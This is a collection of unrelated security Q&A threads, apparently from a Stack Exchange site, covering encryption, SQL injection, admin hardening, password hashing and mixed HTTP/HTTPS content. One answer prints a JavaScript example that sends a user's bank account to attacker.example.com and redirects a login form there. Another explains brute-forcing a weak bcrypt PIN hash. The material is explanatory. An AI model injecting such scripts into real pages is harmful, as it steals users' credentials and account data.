Concatenating files encrypted by same key Background: I'm planning a setup that involves storing passwords as individual encrypted files (using the password manager pass), and then storing the private key needed to decrypt those passwords on a USB device with a push-to-decrypt button (such as a YubiKey).

Assuming only one file can be decrypted per press, even if some hypothetical malware hijacks the connection between my browser and the USB key it can only decrypt one password per intended use. And if it decrypts a different password from the one I requested, I'll be alerted by the fact that my intended login fails.

But this assumes that it's not possible to take two encrypted files and combine them into a single encrypted file, without decrypting first, in a way that the decryptor cannot detect1. If this were possible, clever malware could take all the password files and dump them into a single one, then just wait for me to use the USB key once and perform the above attack. This would render the physical button fairly useless.

So my question is: is there any guarantee that concatenating encrypted files is not possible, in general? Does it depend on the ciper used? (Obviously I am not planning to use homomorphic encryption.)

I'm aware that some software supports (for example) multiple ASCII-armored PGP blocks in a single file, but those should be trivial for the decryptor to recognize as multiple pieces of encrypted data.

If you are using a reasonably sensible algorithm then there are 2 methods to protect against this kind of attack.

One is the security mode of the encryption. By selecting one which uses feedback (i.e. NOT ECB) decryption of the appended password would be dependent on the original password (which wasn't there when the appended password was encrypted).

The other is use of an initialization vector. This is a random string combined with the cleartext and also maintained alongside the ciphertext. Because each encrypted entity should have its own initialization vector, the appended password cannot be decrypted using the IV and key for the initial password.


Determining vulnerable software on client machines I am interested in how attackers manage to identify vulnerable versions of software on client machines, behind a large network or stand alone at home. I am not interested in portscanning at all, as the majority of software on a client machine will not be actively listening.

I am specifically interested in techniques to determine versions of vulnerable software on a client machine. For example, a given machine may have Adobe Reader and Flash, Windows Media Player, VLC and Java installed. It may be that all of these apps were vulnerable, or only one.

I would imagine it would be advantageous to an attacker to be able to determine which if any application was vulnerable, as launching attacks may alert the user and so I wonder how attackers may accomplish this.

I thought I recalled a scenario in which using a browser exploit the attacker was able to read file information from the local file system, which would do the trick.

What other avenues of attack could be used to gain this information directly or indirectly?

Could network management software which reports software versions be used maliciously? If so, what would be an example scenario?

In many cases of reported attacks a specific vulnerability was used, out of all the possibilities. I don't think attackers were that lucky as spamming a hundred attacks would raise attention and perhaps be picked up.

I would think there is  some methodology for detecting various versions of software, perhaps without detection. This would also be true for drive by download attacks....where there may be 30 different attacks but instead of the page simply loading all and trying its luck can load an appropriate attack. Or, is it actually more common for such sites to spam as many attacks as they can without caring if media players and pdf readers randomly open and display an error on the client machine?

Any insight or sources on this are much appreciated.

There are a multitude of ways that people and applications leak information about software versions.

If you can see documents that people post or share, the document format typically explicitly or implicitly identifies the version of software that produced it.  People post bug reports and questions on forums asking for help with software.

If you can get them to visit your web site, you'll get a huge amount of information about their browsing environment which is highly correlated with other software they use.

There are programs that report on software version information, either for enterprise security management, or for popularity contests, or the like.

And you can often just guess, based on knowledge of other software they use, when they got a new computer, what industry they work in, etc.

Finally, much malware is designed to attack multiple versions.  And even if it isn't, the cost of trying an exploit is often so low, that people just do wholesale attacks (like spam), just hoping to find a vulnerable client.  That is probably the most common approach in real life, outside of sophisticated spearfishing attacks.


Can XOR be used in a Merkle Tree instead of concatenation? I am trying to understand why, in a Merkle Tree, the concatanation between hashes is used - and not for example the XOR operation. Can they be considered the same for the purpose of a Merkle tree? I read what is written in this link: Hash Function Xor but it didn't resolve my doubts.

No, you cannot use XOR as you would not be able to distinguish the order of the values underlying the hash tree: H(H(x) ⊕ H(y)) ≡ H(H(y) ⊕ H(x)).

Furthermore you can create hashes over all zeros by inputting identical values: H(H(x) ⊕ H(x)) ≡ H(H(y) ⊕ H(y)).

So you cannot use this for a generic Merkle tree.


Could governments and banks become CAs? When you apply for a passport, driver's license, home mortgage, bank account, credit card, etc., the issuing organization must verify your identity. In the course of doing so, would it be feasible for them to issue an x.509 certificate? These could then be used by individuals for S/MIME, quick-and-easy identification on government websites, digital signatures on electronic tax filing, etc.

Specifically, I want to know:

Is there any reason (from a security standpoint) that a government, bank, or credit card company should not be part of PKI?
Does it make sense to issue x.509 certificates that are associated with "offline" entities, the way PGP keys are (supposed to be) associated with real people?

I know of at least one government that has a root CA:

The state of the Netherlands. As far as I know they don't use it to identify people when they come pick up their driver license.

I think Estonia has a system in which all residents have a card containing a certificate.


What exactly is encrypted by "full disk encryption" on Android 5? This page says "user data" gets encrypted. But that implies it's only a certain part of the full disk? Like "/data" or something? Can I copy a file from a PC to the internal storage to any place and it gets encrypted? And what about an SD card, can I copy a file onto the SD card and it gets automatically encrypted?

It notes on the same page you referenced that a temporary filesystem is loaded into /data, while the rest of the phone storage is encrypted. The purpose of this temporary file system is to perform the functions necessary to enable you to decrypt the phone, see a simple progress bar when decryption or to wipe the phone entirely. If you go to the section heading How Android full disk encryption works you can see this in further detail. To be safe, I would avoid use of the /data folder to ensure all your necessary data is encrypted.

Encryption of external storage (such as an SD Card) will need to be handled manually. You can demonstrate this by turning an encrypted android device off and then plugging the SD card into your computer.

Also please see the disclaimer on the site which is important if you upgraded your device:

  Caution: Devices upgraded to Android 5.0 and then encrypted may be returned to an unencrypted state by factory data reset.


Why are hardware based random number generators considered better than software based generators? Hardware based random number generators (RNG) get their randomness from the noise around. Software based generators get this usually from user input, like moving the mouse over a screen (like TrueCrypt does).

What makes hardware RNGs safer (more random) than software based generators?

To answer directly: the SW ones are based on computer algorithms that can be predictable or limited.

Read this comparison here with advantages and disadvantages. Generally, the average HW RNG is better compared to the average SW RNG.

But although HW RNG is called 'true' and SW RNG (being based on an algorithm) is called 'pseudo', I do not consider that a hardware RNG is always better.

In the case of hardware, it's all about how well the design is, how far does it go with the implementation and what else can affect the result.

In the case of user input, it becomes a matter of how well a user can randomize. A mouse-moving-based RNG can be better or worse compared to an average hardware one depending on user skill. Likewise, a hardware RNG can be better or worse than the average mouse-moving-based RNG depending on the skill of the HW designer.


How to check if my USB stick firmware can be rewritten via the USB port? How can I know in Linux (or otherwise), if the firmware of my USB flash drive can be rewritten using the USB port (when sticking it in an USB port)? Eg. for a cheap EMTEC 16GB.

I was thinking about using udevadm monitor, but do not have any clue on how a USB controller ID looks like (and whether it is printed by udevadm) and where to look further for details for that USB controller. I have read in How to prevent BadUSB attacks on linux desktop that it one of conditions behind the BadUsb attack.

In short, there is no way to know this.

There are to many 'badly written' USB controller chips out there that either not report that you can write to them. or worse report you can. but simply ignore any attempt to write to them.

So without knowing specifically what chip it is you can not know how it reacts to such an instruction.

As a even worse case there are USB devices out there which are either USB stick's or USB HDD's that when written to an extreme address instead of writing it to disk, write it to the internal memory (e.a. the flash EEPROM) and you simply can not check for it without writing your own software to do that and test it by uploading your own firmware. (or brick the USB device).

The only reliable methodology for knowing if a USB device can be used in this manner is by White listing the known USB Controllers that allow writing.
and writing your own test software to check for this.


What good, standard digital signature / timestamp verification clients are widely or easily deployed? I'm looking for a good way to publish data along with a digital signature (and ideally a timestamp) which is as easy as possible to verify via software run locally on public data.

For example, imagine an election administrator who wants to publish election data which is to be audited (totals by candidate by precinct).  We ideally don't want to require the public to have to acquire much if any special or proprietary software.  Signatures which adhere to an open standard, can be validated on PC, Mac, Linux, and can be generated by open source software are preferred.

The data has to remain machine-readable, so a pdf isn't suitable, so if pdf is used, the data would be in attachments to the pdf.

E.g. if we generate XML Signatures (e.g. for IEEE 1622-2011 Election Markup Language (EML) files for elections), is there standard functionality in any common browsers or operating systems to validate the signatures?  Is the user interface clear enough to make it clear to the user when the data looks good, when it is suspicious, and how to deal with common issues?

Alternatives (and concerns):

RFC 3161 - Internet X.509 Public Key Infrastructure Time-Stamp Protocol (TSP) - what cross-platform clients are friendly?
OriginStamp, backed by Bitcoin blockchain (charge for rapid turnaround)
Signed PDF overview with attached data files: can the timestamps be verified and trusted? Can users be tricked via bogus certificates into
Publish link to data and hash of it via various timestamped social networks: Keybase (backed by good crypto specs), Twitter (popular), ...
XML Signatures
Publish SHA-256 hash in the newspaper (How to describe verification steps to the user?)
Use a jar (signed zip) and jarsigner (is there a nice GUI for verifying jar signatures? X.509 PATH validation?)
Use OpenOffice (A hassle to install)
CMS or S-MIME (How can we publish an S-MIME message with attachments - public IMAP?)
Use gpg (but admins need to get in the PGP web of trust, and users need to learn to understand it)
Use s-http (a pity http://tools.ietf.org/html/rfc2660 never took off....)
Use Excel (are there free clients that can check the signature?  Open source software to generate it via a script?)
"Just serve from a secure web site" (doesn't deal with a variety of attacks)

Update, 2019:

Updated list of options with some newer ones, and clarified my goal (in the age of the cloud) of an approach that can be verified via locally-run software. We're learning more and more that web servers are vulnerable to attack, and there are advantages to distributing signed data.
Note that EML and even XML are losing favor these days

Clients? That rather misses the point. It's really about file formats and protocols.

x509 is a cornerstone of encryption implementations. Although its just a starting point for implementing software on, it should probably be your starting point for looking for software.

About 10 years ago, I needed to implement a PKI for my then employers. The route I took was to set up a root Certification Authority using openSSL. At that time x509 verification was available for email required plugins for MSOutlook Express and Eudora (but not for the Bat!). IIRC, these are now built-in as standard. Wincrypt (file encryption) was available as a free download and Stunnel had just been ported to MSWindows.

Certainly 10 years is a long time in encryption circles - but the nice thing about x509 is it accomodates different algorithms / key sizes. It also builds on the same basis as LDAP.

More recently there are have been many more tools implemented using SSL type encryption - e.g. Gnu Anubis (OK, it doesn't actually add the sigs - but provides hooks for calling openssl), smart cards


How is this web resource hidden from the user? Motivation: I've been interested in how various agencies hide data, either through incompetence or willful intent, that is required to be "open". Specifically I've seen oil companies use images to display their transparency reports and financial companies display data via massive time-delayed queries to prevent scraping. Recently, I encountered a new method, this time implemented as a pseudo-DRM:

Question: How does myfont.com hide the font from the browser? Can it be defeated?

Research: Consider the page for the font Modern Brush. It showcases a webfont for sale. Under Chrome's developer tools there are several fonts listed:

but none of the fonts look like the font used on screen. The fonts are clearly loaded however, since there is an editable div:

<div contenteditable="true" spellcheck="false"
  class="text headline"
  data-font="Modern Brush"
  style="font-family: 'Modern Brush';">
            The Wonder of Webfonts
</div>

and a corresponding CSS style:

Close votes: I think that understanding this particular technique falls under the purview of SE Information Security. Additionally, please note that this question asks for information on circumventing a DRM (even if the intent is pedagogic). These reasons may constitute a reason for closing. If so, please advise in the comments.

The font files are loaded via CSS using code similar to this:

@font-face {
  font-family: 'Modern Brush';
  font-weight: normal;
  font-style: normal;
  src: url('/url-here/') format('woff');
}

I'm not convinced they have tried to hide this at all. The woff font file loaded shows up under the fonts tab in FireBug ok. The preview fails though as it doesn't factor in the URL parameters Key-Pair-Id, Policy and Signature which obviously make a difference, and presumably therefore these are components of their DRM implementation.


Overkill or appropriate? I have come across a web application that a company has asked me to rebuild. After all the implementation is said and done I will deploy on a private server,  and the database will be on its own private server.  I will manage the communication between the two with firewalls and the both of the servers data and web will be behind a load balancer. My question is this, the data that is being collected is extremely sensitive data, do I pick out the columns of sensitive information and encrypt them, because before now they have not been done so, or would this just be overkill. I want to securely store the information however I can be a bit intense when it comes to my concerns.

If the answer is no, that's great and I'm glad I asked. However if the answer is yes,  does anyone know how I would go about updating the information to the newly necessary encryption.

The steps would need to be selecting all of the information,  converting the columns from varchar to varbinary, encrypting the data,  and finally inserting it back into the database.

The development stack for code to data I'm using is Java/MySQL.

I completely support the encryption of sensitive information while it is in storage. Encrypting sensitive information in the database prevents an attacker from gathering useful information if he/she has obtained the database. However, as always, how you implement the encryption system is critically important.

First we need to compare and contrast two situations in which the database is compromised:

Situation one occurs when the database has been compromised, but the file system is still secure.
Situation two occurs when both the database and the file system are compromised.

Situation one is when encryption is the most useful. This kind of attack occurs when the attacker has used a method like SQL injection. This is ideal because the attacker does not have a decryption key/method and he/she would have to bruteforce the decryption key to get to the data (this should be infeasible).

Situation two is far less favorable. This kind of attack occurs when the attacker has obtained access to the server (e.g., physical access, FTP, SSH, etcetera). Because the attacker has gained access to the file system, he/she likely has the decryption key which means he/she can just decrypt the database and it's game over.

However, you have an advantage here because you have both a frontend server and a backend server. This means you can implement a more secure design to protect against situation two. You can encrypt/decrypt on both servers which means the attacker would have to compromise both server file systems. Here's what I mean: the frontend server can encrypt the sensitive data using its own key; send that data to the backend server; the backend server then encrypts the encrypted data using a different key; and finally the backend server stores that double-encrypted data. The decryption process is just the reverse of this: the backend server pulls out the double-encrypted data; the backend server decrypts the first layer of encryption and sends it off to the frontend server; the frontend server then removes the second layer of encryption; finally the frontend server displays the decrypted, sensitive data to the user.

This all said, like Kevinze's answer states, there are other protections which should be in place. You should be using HTTPS (SSL/TLS) for communications between the user and the frontend server. This would prevent MiTM (in most cases) and help protect the communications between the client and the server. You should also consider other protections like full disk encryption. I cannot give you much information about this, but it would of course add protection to the file system.

In your question, you asked about updating your database and converting it to an encrypted form. If I was in your position, I would construct a new database to store the encrypted information and then write a program to read all entries from the old database, iterate over them, encrypt the sensitive columns, and insert them into the new database. Here's some pseudo-code:

All_Entries[][] = Fetch_Array_All_Entries(FROM_OLD_DATABASE); // Multidimensional Array

for(int i = 0; i < count(All_Entries); i++){
    thisEntry = All_Entries[i];
    encryptedEntry = new Array();
    encryptedEntry["Some Insensitive Column Name"] = thisEntry["Some Insensitive Column Name"];
    encryptedEntry["Sensitive Column 1"] = encryptColumn(Backend_Key, encryptColumn(Frontend_Key, thisEntry["Sensitive Column 1"]));
    encryptedEntry["Sensitive Column 2"] = encryptColumn(Backend_Key, encryptColumn(Frontend_Key, thisEntry["Sensitive Column 2"]));
    // ... Encrypt all sensitive columns and assign them to the encryptedEntry ...

    // Once all encryption is done:
    Insert_Array_Entry(TO_NEW_DATABASE, encryptedEntry);
} // end entry loop

Once the new database has been updated with encrypted entries, simply replace the old database with the new one.

Your question mentions switching from VARCHAR to VARBINARY. This is really your own choice, but you could continue to use VARCHAR if you convert the bytes to a string format. Usually encrypted data is displayed as a Base64 string. Again, you have to make that decision for yourself, but that's how I would likely do it.


Is there a field length that is too short to allow harmful SQL injection? I was reading about SQL injection and saw this, which got me thinking:

  input fields as small as possible to reduce the likelihood of a hacker being able to squeeze SQL code into the field without it being truncated (which usually leads to a T-SQL syntax error).

Source: Microsoft SQL Server 2008 R2 Unleashed

What is the is the shortest field size where SQL injection can cause harm?

With harm being database modification or returning results not intended by design. Including an end comment marker (--) in a two character field would not cause harm, it would just cause a failed query. The potential hacker, might learn the field is susceptible to injection, but they are unable to leverage it.

Without context, I'm going to presume that the author is referring to input fields in a client application. The easiest example to use would be a form in an HTML page in a web application, though what I'm about to describe is effective for virtually any type of client application.

Given this context, the answer is no, there is no maximum input field length short enough to protect you from SQL injection, because you don't control the maximum input field length. The attacker does. When the form containing the input field lives on the client (like in a browser window on the attacker's machine) it is outside of the trust boundary, and out of your control. It can be manipulated in any way the attacker wants or needs, or avoided completely. Remember, for a web app, all you get is an HTTP request. You have no idea how it was created, and no reason to believe that anything you asked the browser to do actually happened, that any client-side security controls were actually run, that anything in the request is as you intended or in any way safe.

So no, input field length is not a valid SQL injection prevention mechanism, and never, never trust input that crosses a security boundary without validating it.


Is there a term for Authorizing before Authenticating? Is it even common? In most scenarios a person identifies who they are (authentication/AuthN) via something like a username and password. Afterwards a system would likely evaluate what that validated identity can perform (authorization/AuthZ) via something like AD or LDAP groups.

Does anyone know of systems that evaluates authorization first? For example, before a password is verified or a session (e.g. a cookie) is even provided the system would check the username and see if the claimed identity is even allowed to try and authenticate. If not then it won't even bother with a password check or creation of a cookie/session.

This doesn't really fit the mold of classic authorization. Is there a term for this style of AuthN/AuthZ? I've been Googling all sorts of things to try and find a system, tool, app, term or definition that applies to this use case.

I have seen systems that filter by a list of allowed IP addresses first, so in order to even attempt to use an authentication method you have to be coming from a specified IP address or range.  This is similar to what you are describing.  But in general, authorization refers to deciding what an authenticated user can do, and so logically comes after the authentication step - except when anonymous access is allowed, of course.


Is it possible to upgrade the SSL version of a connection from the server's side only? I am trying to find out if there's a way to upgrade the SSL version from SSLv3 to TLSv1 of a connection by only making server-side changes.

In my case, both the client application and server are using OpenSSL(v0.9.8o), so both support SSL versions up to TLSv1. Every time the client wishes to establish a connection with the server it uses SSLv3.0 by default when it starts the SSL handshake (i.e. ClientHello, Version 3.0) and thus a connection is established with the server using SSLv3.0.

Edit: The the default SSL version on the client application is hard coded to SSLv3.0.

Without making any client-side code changes, is there a way to upgrade the connection to TLSv1 by only making server-side code changes. Perhaps by using SSL renegotiation?

Note: Of course, changing the default version of the client application so that it initiates the handshake using TLSv1 does establish a TLSv1 connection successfully, however, that is not an option in my case for various reasons.

Any references are very much appreciated.
Thanks for your help.

Something is amiss on the client side it sounds like.

The client should initiate the session indicating the highest protocol version it can accept.

TLS v1 is enumerated as "3.1" to indicate > SSL3:

  Since the Version numbers negotiated in the
  ClientHello and ServerHello messages of SSL are 3.0 and below, version numbers to
  be negotiated with TLS and future r
  evisions will continue by negotiating as version 3.1
  or higher. This will be done to denote a revision of SSL 3.0, but to promote backwards
  compatibility between clients and servers using either SSL or TLS.

Source

Further clarification:

The client MUST declare the highest version it can support, and the server will either accept, offer a lower supported version, or declare PROTOCOL_VERSION and close. From ietf.org:

  A TLS server can also receive a ClientHello containing
  version number smaller than the highest supported
  version. If the server wishes to negotiate with old clients,
  it will proceed as appropriate for the highest version
  supported by the server that is not greater than
  ClientHello.client_version. For example, if the server
  supports TLS 1.0, 1.1, and 1.2, and client_version is TLS
  1.0, the server will proceed with a TLS 1.0 ServerHello. If
  server supports (or is willing to use) only versions greater
  than client_version, it MUST send a "protocol_version" alert
  message and close the connection.


How can these spam emails be accessing email accounts on respected domains? Today I received a spam email from juliew@mchs.org.au requesting to contact Harry Black about a charity project. His email address is harryblack2013@rogers.com.

After I had done so and fallen for the bait, Harry Black replied to my email that he wants to give me $1,000,000,000 blah blah.

What bothers me is, I Googled rogers.com and mchs.org.au and they seems to be a massive  respected site. How then could the spammers have access to email accounts at these sites and if they can, can these companies be alerted that they have been hacked? Or if they let the spammers do it, shouldnt Google be penalizeing them?

Rogers is a very large Canadian ISP, and their every cable client gets a @rogers.com address, so finding one that has a weak password would be trivial.


Is it okay to only use username/password to secure an admin page for moderating a website? Is there a standard practice to securing an admin page for an application written in angular and nodejs or just in general? The admin page would approve/ban users and moderate comments.

Should it be web facing, able to be accessed just through a username/password? Or something fancy like ssh-only w/ X11 forwarding?

Right now I'm the only admin since I wrote the software, but I may eventually allow others to help moderate using their own combination of username/password. This might mean that non-tech users may be using it, so ssh-only might be too complex.

Is there something specific server-wise I should do for the admin page? I will deploy to a linux server (Ubuntu server).

I think it is fine to have a web facing panel as long as:

Its not guessable, for example, www.example.com/admin. U don't want notorious users to attempt brute-forcing for two reasons:

Incase the brute-force succeeds.
If u have an account lockout policy in place, which you should, u don't want to be locked out by notorious users.

Use strong passwords which are not going to be standard dictionary passwords.
Use out-of-band authentication along with the regular authentication system. This prevents brute-force as well as account-lockouts.
Restrict the admin-panel to specific ip addresses such as ur internal subnet address and only accessible through VPN, this should give u one extra layer of protection.
More on this at: https://stackoverflow.com/a/2851584/4399898.
And HTTPS should be the standard, if the cookie doesn't have the secure flag and HTTP-only property set and the admin browses to a page after logging in and not signing out and this page contains a malicious injected script, a là XSS, it can lead to the cookie being stolen and probably the authentication being effectively rendered useless along with CSRF bypass attacks etc. So, IMO, HTTPS should be implemented throughout the application.
If there are multiple admins and the authentication system has a SQL db backend, use parameterised queries.

Thats all i can think of right now. The link i posted with my fourth point should give u more information.


Exploiting HTTP content in HTTPS page I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content (say, https://Secure-Site.com loading an image from http://Not-A-Secure-Site.com) but I don't remember the specifics.

Could anyone list some common attacks that can be launched through this vector?

I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content

Basically the problem is that an HTTP connection can be tampered with. HTTPS is secured, doing three things:

Authenticating that the connected server is really the one you want (e.g. google.com).
Preventing anyone else from reading the data that you sent or that you receive.
Preventing the sent or received data from being modified.

Any non-https connection, even when loaded from an https-page, is subject to any of these three. I could impersonate google.com by spoofing the DNS (in whatever way), I could read what is being sent (an image could contain personal info if it's dynamically generated), or I could modify the page's contents.

Now there are basically two degrees in how bad such a mix is:

When a script is loaded from an http connection (on an https page), that's extremely bad. You can consider the entire page to be compromised since it's easy to read and even modify the page by injecting data into the script.
When an image, css file or another meta-file is loaded, that still opens the content up for some attacks. It might not be bad, but it totally could be. Since you never know, the browser should warn the user (by removing the padlock and displaying a mixed-content warning).

  Could anyone list some common attacks that can be launched through this vector?

Basically there is only one problem: Man in the middle attacks where someone can see and/or modify your traffic. I'll break this up into two parts:

Privacy.
The internet is a network of networks. As your traffic travels across the internet, it can pass many networks. A simple traceroute to stackexchange.com shows that my traffic passes the following networks: my own, xs4all's, above.net's, pnap.net's, and finally stackexchange's. All of these could have taps, either specifically for me or not. Many of their employees could also view my data. This is mostly a non-issue if you don't have a tap, except if the connection passes a network from countries that heavily monitor internet traffic (Iran, China (USA?)). Usually your own network is the biggest issue though. Company networks often allow for ARP spoofing, which is an easy way to read everyone's traffic without anyone noticing. WiFi networks might be cracked as well. Even if you're not on WiFi yourself, if your network has a WiFi access point somewhere then your traffic might be read by others.

Note: Governments (or rogue employees) might still be tapping your connection when using https by placing a tap at the website's end. They can bug the server and monitor all your moves on that site. I've never heard of this happening by governments, but they have methods to update: they do this. Note though that maybe this should be possible for governments because there are legitimate reasons to do this, they're just rare. The recent criticism on the NSA's surveillance (and US' in general) surveillance is because it's too much, not because any surveillance is bad.
Actually modifying the page.
How effective this is depends on the content type like I mentioned above. The easiest way to simulate this is by using proxies like the Zed attack proxy. To attack other systems you'll first need to setup ARP spoofing or something that does the same. Here is more in-depth what you can do with various content types:

a. Modifying scripts:

// Send the bank account of the user to another website
var bankaccount = document.getElementById("AccountName").innerHTML;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.example.com/?a=" + escape(bankaccount), true);
req.send();

// And make the login form submit to another website.
document.getElementById("loginform").action = "http://attacker.example.com/fakeLoginPage.php";

b. Modifying images:
When the attacker can control an image like the site's logo on the left top, he could change it so that it's a huge image covering the whole page. A part of the image might be a screenshot of how the page normally looks, and another part might be modified, showing false information (e.g. asking to call a fake phone number concerning a problem with their account).

c. Modifying CSS:
This is like the image modification, except here you can add arbitrary images and text anywhere on the page. If done correctly by the attacker, this is almost as severe as script injection. Content on the page can still not be read by the attacker, but what the user sees is now entirely up to the attacker. Phone numbers and any other instructions can be changed. The page could even say "use https://phishing.example.com instead because we have a security issue!" Yes, https will work on this phishing page. It's easy and legal to get free https certificates for any domain you own.

d. When an iframe is loaded over HTTP
The iframe could be modified to contain any sort of drive-by malware, be it a browser exploit, Flash exploit, Java exploit, or an exploit for another plugin (mind the difference between Java and Javascript!). This is usually no problem if you got everything up-to-date and you're not a high-profile target... but how many users ever have their browser entirely up to date? Don't take this risk.

e. An http website links to an https website
This is not a problem if users check the domain and padlock, but how many know what to look for, and look for it every time? This is frighteningly close to zero. When your login form is on http but submits to https, sslstrip (or some custom script) can easily make the user submit to another http page. Optionally it can redirect to the https website after submitting to http so the user does not notice anything at all.

Conclusion
If you want to do https properly, the only way is to enable it for your entire website. All images, stylesheets, iframes (Facebook's Like® buttons) and everything else should be secured. This might be a big undertaking for a big website, but if you take security seriously then it is certainly worth it.

Additionally, make sure that your webservers reject any http requests and redirect the user to the https page instead (without the http request being processed at all) and send the browser a Strict-Transport-Security header.


Are windows users passwords easier to crack than linux? If i set the same password in both linux and Windows, is it easier for a hacker to break the windows password? If so why and how can i create a windows password in the same security level as Linux?

So, Windows and linux validate password based authentication attempts by hashing the submitted password, and comparing that resultant hash to the one stored (its a bit more complex, but that's the idea. lets not worry about salts at this stage).

In the case of Windows this is an LM hash, or an NT hash.

In the case of linux, it is very much operating system, and even operator dependent.

How quickly you can make guesses by comparing passwords depends on the computation expense of hashing a given password - this is defined by the hashing algorithm (DES / SHA / LM / Blowfish / MD5 etc), and how it is used - the number of rounds can be defined in some cases (more rounds, more computational expense), or salts can be used (inhibits pre-computing the total number space).

LM is generally considered bad, rainbow tables exist that cover the entire number space. However a really strong (lets say 20 random chars from uppercase, lowercase, numeric and special) NT password remains very expensive to break.

Linux depends on the algorithm used.

for example:

My graphics card can make about 6046.1 kH/s guesses against LM passwords
however it can make about 2262 H/s against sha256 with 5000 rounds.
note the K hashes there.

check this to try it out, and get a feel for what you are asking. (performance seciton)

http://hashcat.net/hashcat/


BCrypt Tables for 6 digit numbers 000000-999999 This is an example of a bcrypt project I am working on. 2a and 04 are always used and the password is a 6 digit number from 000000 to 999999

Using 2a and 4 rounds is there a hash table or calculator out there somewhere that shows what the 6 digit number (password) is in this example?

$2a$04$lzzo9IuiAWyIs2H4NI4w1.KDxgxgUi2h34k9rDaMP/PjEv/WktiMm

What you're looking for, in theory, is a thing called a "rainbow table", a lookup table of hashes to their original outputs. There are quite a few of them online (and they tend to be huge, containing far more than the mere million entries for "000000" to "999999"). They're most common for simple hashes (MD5, SHA1, etc.).

Unfortunately for you, bcrypt requires the use of a very standard technique for defeating rainbow tables: a salt that is combined with the password before hashing, meaning the range of passwords you need to check is essentially many orders of magnitude larger than the simple million values you're checking for.

Bcrypt actually requires a salt, so there's definitely one in there. I believe that in your example it is the lzzo9IuiAWyIs2H4NI4w1. part (the first 22 base64-encoded characters following the third $, as per Wikipedia's description of the algorithm). The salt has to be stored in plain text, but it means that any rainbow table created without using that specific salt is useless for cracking the output (and no pre-computed table will use that specific random salt).

Somebody could reuse a single salt (with at least some bcrypt implementations, this is possible) but salts are supposed to be generated uniquely for each password. Check whether the first part of the hashes (following the last $) that you want to reverse is different for each value. In any case, the existence of salts at all means a pre-generated rainbow table isn't going to help.

On the other hand, a million entries is a pretty small search space. Bcrypt is a somewhat old password hashing algorithm (notably, it lacks the tunable memory cost parameter that newer functions have, although most people don't have easy access to the hardware that can brute force it most quickly). For simply using a commodity CPU, the difficulty of brute-forcing depends on the "cost" or "work factor" parameter. In your example, this is 04 (the number between the second and third $), which is low by modern standards. You can certainly brute-force any given 6-digit password in under a day (worst-case, that requires just under 12 hashes per second, which should be easy at cost 4). If they aren't using unique salts, this is equivalent to building your own rainbow table and allows reversing all the hashes.

Building a rainbow table just consists of hashing a bunch of inputs (in this case, the full million possibilities), preserving the password < > hash mapping, and sorting by the hash outputs. They can take a while to compute, depending on how slow the hash function is (for a "cost" of 4, pretty quick), how much you can parallelize it (if you have a multi-core machine, each core can work on a different set of passwords; modern CPU caches have no problem with the memory cost of bcrypt), and how many entries you're trying (some rainbow tables have a billion entries; a million is nothing). They also require storage space, but for one table with only a million entries it should take less than 100 MB of storage.


When you make a revision of rules on a firewall, how do you add credibility/customer satisfaction to your final consideration? When, for a vulnerability assessment, you need to report the security consideration about a firewall's configuration rule-set, after the audit on the rule-set you make a report about security concerns on the rule analyzed.

In this report, you need to write what is wrong in the rule-set and the security consideration about the configuration.

For example, if in the rules you have not find egress filtering you can say it's a problem because from your network is possible to do spoofing.

What sources do you use to add credibility and customer satisfaction to your work after an audit and a report of this kind ?

What reliable sources, best practice, etc ..  do you use to arguments your consideration to show to your client that this consideration is not your own consideration by a widely accepted consideration in the security industry ?

I've never felt that I needed to legitimize my reviews of firewalls with some call to a "higher power". While I have had clients come back with responses like, "Show me where it says I can't have the wire transfer application on a shared laptop that's used for webcast presentations," firewalls are a bit easier to justify. The rule is: Anything that isn't legitimately required is a risk, and your increased expense to mitigate this risk is negligible as all you are doing is adding a rule to your existing firewall system. Your cost to do it is less than your cost to argue with me ;)

In any case, unexpected traffic is either a misconfiguration or a compromise. If I need to justify every rule on its own without that principal, why do you (as my client) have a firewall in the first place?

I'm starting to think I'll ingrain in people that they should start with a Fort Knox system and peel off what is too expensive for the benefit rather than start with an patch of grass and start building walls as they see fit. When I start that, I'll cite this question (and you get a +1 on it).


Where does StartSSL generate the cerificate, server or client-side? I.e. do really only I have the private key or do I have to trust that StartSSL (or any other provider) don't store it themselves?

I must admit I haven't tried StartSSL, but its FAQ suggests multiple mode of key generations for applying for a certificate. This may depend on the type of certificate.

The "Wizard" mode (FAQ#43) visibly generates the key pair on the server side. Although FAQ#44 assures you that they don't keep it, you're entitled to be suspicious. This isn't considered great practice, but this is probably for convenience.

Alternative methods normally used by CAs consist of generating a key pair on the user's machine and submitting only the public key as part of a Certificate Signing Request (CSR). A number of tools will let you save a CSR. This can also be done manually using OpenSSL, for example. In addition, a key-pair can also be generated in the browser (which will not send the private key out) and a CSR (or equivalent, e.g. SPKAC or CMRF).

The wording of some other questions is a bit confusing, but it suggests they can accept CSR or SPKAC requests.

FAQ#33 says "I created a private key instead of submitting my certificate request (CSR) for IIS server". Opposing creating a private key to submitting a CSR is a bit confusing, because you'd create a private key to create the CSR anyway. From the answer, it appears that you the private key has to be known at some stage by the StartSSL server ("Login to the StartSSL™ Control Panel and click on the "Tool Box" tab. Select "Create PFX File" and submit the encrypted private key, certificate and your password for the key."), which isn't great practice.

However, FAQ#51 "Can I submit a certificate request (CSR) for client certificates (S/MIME)?" seems to suggest it's also possible to do this without StartSSL needing to know the private key. ("The private key and certificate request are generated by either using the  tag (Firefox) or activeX control (Internet Explorer)".)
The limitations they impose in their answer is somewhat artificial. There's no reason in principle why one mode of application would be tied to a usage purpose for the resulting certificate.

The <keygen /> generates the private and public keys within Firefox and this sends a SPKAC request to the server (which contains the public key but not the private key, and is roughly equivalent to a CSR). The IE ActiveX Control can actually send CSR (in PKCS#10 format). Using either of these two in-browser modes, when you get the certificate back, it's imported against the generated private key, which you can then export together in a PKCS#12 (.p12/.pfx) bundle if you wish. That's why it's important to import the resulting certificate in the browser that you've used for the application. (FF doesn't show that it holds key-pairs that awaiting for a certificate, they only become visible in the options when you open the certificate back.)

EDIT:

Regarding one of your comments:

  Why again do people trust SSL more than OpenPGP?

Like many, you're confusing PKI and SSL/TLS.

I'm not a massive fan of the PKI model myself, because of its imperfections, but thinking that making everyone use a Web-of-Trust model (a la PGP) is sufficient to improve things is somewhat candid.

